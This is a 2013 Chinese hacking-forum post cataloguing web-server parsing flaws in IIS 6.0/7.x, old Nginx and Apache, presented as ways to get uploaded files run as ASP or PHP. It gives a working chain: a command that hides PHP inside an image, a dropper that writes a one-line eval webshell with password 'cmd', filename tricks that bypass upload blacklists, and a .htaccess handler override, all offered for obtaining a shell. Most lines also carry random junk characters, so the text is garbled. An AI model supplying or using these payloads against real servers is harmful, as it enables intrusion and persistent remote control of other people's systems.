找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2696|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain  ^; a4 t' d6 u+ f" t: z9 p
[+]IIS6.00 h6 H+ M+ L  D: a% [

# r) h# F- v6 G9 ^5 s$ ~目录解析:/xx.asp/xx.jpg
! ^1 O6 d5 H; W+ D$ i xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码( e) j% ?% f( S( v9 }8 Y
IIS6.0 会将 xx.jpg 解析为 asp 文件。
$ i- v# j" c- c( C后缀解析:/xx.asp;.jpg     
# p1 p' Z8 N. p IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
5 G0 s7 W, j1 Y1 @! x2 H$ X8 ~& g默认解析:/xx.asa
% H8 u4 K) \4 Z' ^* N; ]         /xx.cer# @. N! @" K8 f# e: D% M
         /xx.cdx. T& F/ N8 m& ~' R) c5 C
IIS6.0 默认的可执行文件除了 asp 还包含这三种( r# }6 i5 [7 K6 T- B6 Q
此处可联系利用目录解析漏洞 ( u) h$ F9 J& z. L
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg. t$ V6 c& B8 x* c8 T0 m* \. T
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
: w& R  _5 ?4 L8 a' Q2 X4 j4 G
- m0 o3 F& C4 k; v! u# } IIS 7.0/IIS 7.5/Nginx <0.8.030 [3 c% i6 B4 f+ L) G8 K: K" b
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
0 R7 ?+ p# X8 K) U4 R 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
9 g6 A* e+ p$ L: ? 常用利用方法:
0 l0 s0 N0 @! o- |8 O. A 将一张图和一个写入后门代码的文本文件合并将恶意文本
. G- Y( g% J' u 写入图片的二进制代码之后,避免破坏图片文件头和尾
, L3 x% b2 F; w" k7 e 如:8 n# Z9 J/ P" y
copy xx.jpg /b + yy.txt/a xy.jpg
' u# z7 {0 h4 x9 P1 S! r #########################################################1 U- R. h& k" F6 b
/b 即二进制[binary]模式$ d- B' h9 J( P+ u. L5 I
/a 即ascii模式
; t0 O' t  r6 x xx.jpg 正常图片文件
& w. g+ P2 _% {8 u& i: J) q/ w$ @ yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),& X, V5 X# Q0 u9 J  t) C) r6 e! K
'<?php eval($_POST[cmd])?>');?>9 `3 b& l" a- V4 S9 l% D4 x% n
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
" g3 h( \0 ]: M. K! T' I* O5 R# D 为shell.php的文件
5 n* K; r: V: S: M# @7 n0 V ###########################################################) ^' @9 h; q! |& A: o. ~
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php " s/ G7 E+ ]' P
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php / J7 r+ v- X; x& ^; F/ k, W
密码 cmd
" {9 A7 k9 p1 j' B) a1 p[+]Nginx <0.8.03' A# D) Z0 X% Z, D0 F2 V
9 F5 k% `' r! n1 ]! e5 i
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞7 H5 u" P! k) ^" e0 |$ ^& Y
在一个文件路径(/xx.jpg)后面加上%00.php/ ^: F  S) }; W7 S; U3 u
会将 /xx.jpg%00.php 解析为 php 文件。! U3 W& k# V- @+ F* w, q3 J
[+]Apache<0.8.03
5 B4 l* G, a. l1 U# N
  d3 u( F  T' H5 V2 P 后缀解析:test.php.x1.x2.x3+ P" T3 f6 K* y- i$ v% ]
Apache将从右至左开始判断后缀,若x3非可识别后缀,
- h* A' x- r' X$ F. w; J6 `% \ 再判断x2,直到找到可识别后缀为止,然后将该可识别& k' o2 s/ b- X4 S
后缀进解析test.php.x1.x2.x3 则会被解析为php
% {0 [+ [0 D3 D: x  X+ Y# D 经验之谈:php|php3|phtml 多可被Apache解析。
) S8 L" e2 p# u6 u0 ?9 _" x[+]其他一些可利用的
2 B+ L. r& z( `' O: ~6 c
* c, W6 o. z8 |' T4 q2 x在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
$ |2 Y, Q6 w+ ?! j若这样命名,windows会默认除去空格或点,这也是可以被利用的!, \9 o8 x. X+ t' q. G
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格6 i( `: T( z9 d" C: L  }" U: T
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可; Q+ O) n) Y) D5 X7 \0 ]
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
- Z: B5 M5 X: Q+ G, @( g{Linux主机中不行,Linux允许这类文件存在}
1 L- j1 ~5 v3 G9 ~  c5 k0 ^# g如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
9 h5 D' m! }) C; q的,当初我并不知道),且可以被上传,那可以尝试在
# k: y6 h) p" m! ?. ?- A8 }& t.htaccess中写入:
+ L. P# m7 O6 J8 x<FilesMatch “shell.jpg”>
- n' j: \  }! ^. h% CSetHandler application/x-httpd-php - B8 i3 z' W- w1 A1 w& t/ d# d5 \
</FilesMatch>2 _7 Y0 B8 g$ H! h: |$ u; Y4 X
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
5 m4 J/ j4 S4 b5 I[+]错误修改& p; r% h6 X* v8 [2 P
- V/ P7 ]3 b9 q7 u% f. g
在 IIS 6.0 下可解析 /xx.asp:.jpg
! F$ y$ q! Z0 S/ ~  `6 _; U" m: E: l{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去5 H* ~! A% h+ V5 |( ]8 `
剩下/xx.asp}修改:
3 ?2 y& c3 E6 [0 z5 U先谢谢核攻击的提醒
  U- o% z! n$ _: m% D8 w( d当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp* p: }4 o. k1 ^2 C0 _9 y
里是没有任何内容的,因为。。不好解释 大家自己看- h: p& A% {" ^: X+ V4 m& d
http://lcx.cc/?i=2448
! `7 ~+ D/ b# ehttp://baike.baidu.com/view/3619593.htm8 J6 a; O: X# S1 a
# l# b; ?# s; e% B& O$ [& Q; R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表